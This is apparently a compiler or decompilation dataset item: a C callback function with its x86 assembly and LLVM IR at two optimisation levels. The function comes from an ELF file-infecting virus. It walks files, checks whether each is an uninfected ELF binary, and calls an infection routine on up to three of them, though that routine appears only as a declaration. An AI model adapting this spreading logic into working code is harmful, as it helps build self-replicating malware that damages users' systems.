#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
struct stat {
  int dummy;
};

/* Variables and functions */
int FTW_F;
scalar_t__ check_if_elf(char const *);
int check_if_infected(char const *, struct stat const *);
int /*<<< orphan*/ infect_this_file(char const *, struct stat const *);
int(fnct)(const char *file, const struct stat *sb, int flag) {
  static int infected_count = 0;
  if (flag == FTW_F)
    if (check_if_elf(file) == 0) {
      if ((check_if_infected(file, sb)) == -1 && infected_count < 3) {
        infect_this_file(file, sb);
        infected_count++;
      } else
        return 0;
    }
  return 0;
}


x86 assembly (clang, -O0):
<fnct>:
push   %rbp
mov    %rsp,%rbp
sub    $0x20,%rsp
mov    %rdi,-0x10(%rbp)
mov    %rsi,-0x18(%rbp)
mov    %edx,-0x1c(%rbp)
mov    -0x1c(%rbp),%eax
mov    0x2e9b(%rip),%rcx
cmp    (%rcx),%eax
jne    11c2 <fnct+0x92>
mov    -0x10(%rbp),%rdi
call   1050 <check_if_elf@plt>
cmp    $0x0,%rax
jne    11bd <fnct+0x8d>
mov    -0x10(%rbp),%rdi
mov    -0x18(%rbp),%rsi
call   1040 <check_if_infected@plt>
cmp    $0xffffffff,%eax
jne    11ac <fnct+0x7c>
cmpl   $0x3,0x2eb7(%rip)
jge    11ac <fnct+0x7c>
mov    -0x10(%rbp),%rdi
mov    -0x18(%rbp),%rsi
call   1030 <infect_this_file@plt>
mov    0x2e9e(%rip),%eax
add    $0x1,%eax
mov    %eax,0x2e95(%rip)
jmp    11b8 <fnct+0x88>
movl   $0x0,-0x4(%rbp)
jmp    11c9 <fnct+0x99>
jmp    11bd <fnct+0x8d>
jmp    11c2 <fnct+0x92>
movl   $0x0,-0x4(%rbp)
mov    -0x4(%rbp),%eax
add    $0x20,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<fnct>:
push   %r14
push   %rbx
push   %rax
mov    0x2ead(%rip),%rax
cmp    %edx,(%rax)
jne    117a <fnct+0x4a>
mov    %rsi,%r14
mov    %rdi,%rbx
call   1050 <check_if_elf@plt>
test   %rax,%rax
jne    117a <fnct+0x4a>
mov    %rbx,%rdi
mov    %r14,%rsi
call   1040 <check_if_infected@plt>
cmp    $0xffffffff,%eax
jne    117a <fnct+0x4a>
cmpl   $0x2,0x2ed6(%rip)
jg     117a <fnct+0x4a>
mov    %rbx,%rdi
mov    %r14,%rsi
call   1030 <infect_this_file@plt>
addl   $0x1,0x2ec2(%rip)
xor    %eax,%eax
add    $0x8,%rsp
pop    %rbx
pop    %r14
ret

LLVM IR (-O0):
%struct.stat = type { i32 }
@fnct.infected_count = internal global i32 0
@FTW_F = global i32 0
define i32 @fnct(i8* %0, %struct.stat* %1, i32 %2) {
%4 = alloca i32
%5 = alloca i8*
%6 = alloca %struct.stat*
%7 = alloca i32
store i8* %0, i8** %5
store %struct.stat* %1, %struct.stat** %6
store i32 %2, i32* %7
%8 = load i32, i32* %7
%9 = load i32, i32* @FTW_F
%10 = icmp eq i32 %8, %9
br i1 %10, label %11, label %32
11: ; preds = %3
%12 = load i8*, i8** %5
%13 = call i64 @check_if_elf(i8* %12)
%14 = icmp eq i64 %13, 0
br i1 %14, label %15, label %31
15: ; preds = %11
%16 = load i8*, i8** %5
%17 = load %struct.stat*, %struct.stat** %6
%18 = call i32 @check_if_infected(i8* %16, %struct.stat* %17)
%19 = icmp eq i32 %18, -1
br i1 %19, label %20, label %29
20: ; preds = %15
%21 = load i32, i32* @fnct.infected_count
%22 = icmp slt i32 %21, 3
br i1 %22, label %23, label %29
23: ; preds = %20
%24 = load i8*, i8** %5
%25 = load %struct.stat*, %struct.stat** %6
%26 = call i32 @infect_this_file(i8* %24, %struct.stat* %25)
%27 = load i32, i32* @fnct.infected_count
%28 = add nsw i32 %27, 1
store i32 %28, i32* @fnct.infected_count
br label %30
29: ; preds = %20, %15
store i32 0, i32* %4
br label %33
30: ; preds = %23
br label %31
31: ; preds = %30, %11
br label %32
32: ; preds = %31, %3
store i32 0, i32* %4
br label %33
33: ; preds = %32, %29
%34 = load i32, i32* %4
ret i32 %34
}

LLVM IR (-O2):
%struct.stat = type { i32 }
@fnct.infected_count = internal unnamed_addr global i32 0
@FTW_F = global i32 0
define i32 @fnct(i8* %0, %struct.stat* %1, i32 %2) {
%4 = load i32, i32* @FTW_F
%5 = icmp eq i32 %4, %2
br i1 %5, label %6, label %19
6: ; preds = %3
%7 = tail call i64 @check_if_elf(i8* %0)
%8 = icmp eq i64 %7, 0
br i1 %8, label %9, label %19
9: ; preds = %6
%10 = tail call i32 @check_if_infected(i8* %0, %struct.stat* %1)
%11 = icmp eq i32 %10, -1
%12 = load i32, i32* @fnct.infected_count
%13 = icmp slt i32 %12, 3
%14 = select i1 %11, i1 %13, i1 false
br i1 %14, label %15, label %19
15: ; preds = %9
%16 = tail call i32 @infect_this_file(i8* %0, %struct.stat* %1)
%17 = load i32, i32* @fnct.infected_count
%18 = add nsw i32 %17, 1
store i32 %18, i32* @fnct.infected_count
br label %19
19: ; preds = %3, %15, %6, %9
ret i32 0
}